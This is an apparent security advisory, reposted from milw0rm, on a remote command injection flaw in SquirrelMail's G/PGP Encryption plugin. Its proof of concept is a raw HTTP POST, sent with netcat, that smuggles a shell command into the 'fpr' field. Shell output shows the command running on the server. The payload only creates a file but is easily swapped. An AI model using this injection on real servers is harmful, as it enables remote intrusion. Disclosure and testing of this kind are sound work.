|
|
| |
| A vulnerability in SquirrelMail's G/PGP Encryption plugin allows remote attackers to execute arbitrary code on the machine upon the products sits upon, the following exploit code can be used to test the vulnerability. |
| |
Credit:
The information has been provided by jmp-esp.
The original article can be found at: http://www.milw0rm.com/exploits/4173
|
| |
Proof of Concept:
testbox:/home/w00t# cat /tmp/w00t
cat: /tmp/w00t: No such file or directory
testbox:/home/w00t#
***@silverlaptop:~$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
id=C5B1611B8E71C***&fpr= | touch /tmp/w00t | &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1
...
testbox:/home/w00t# cat /tmp/w00t
testbox:/home/w00t#
|
|
|
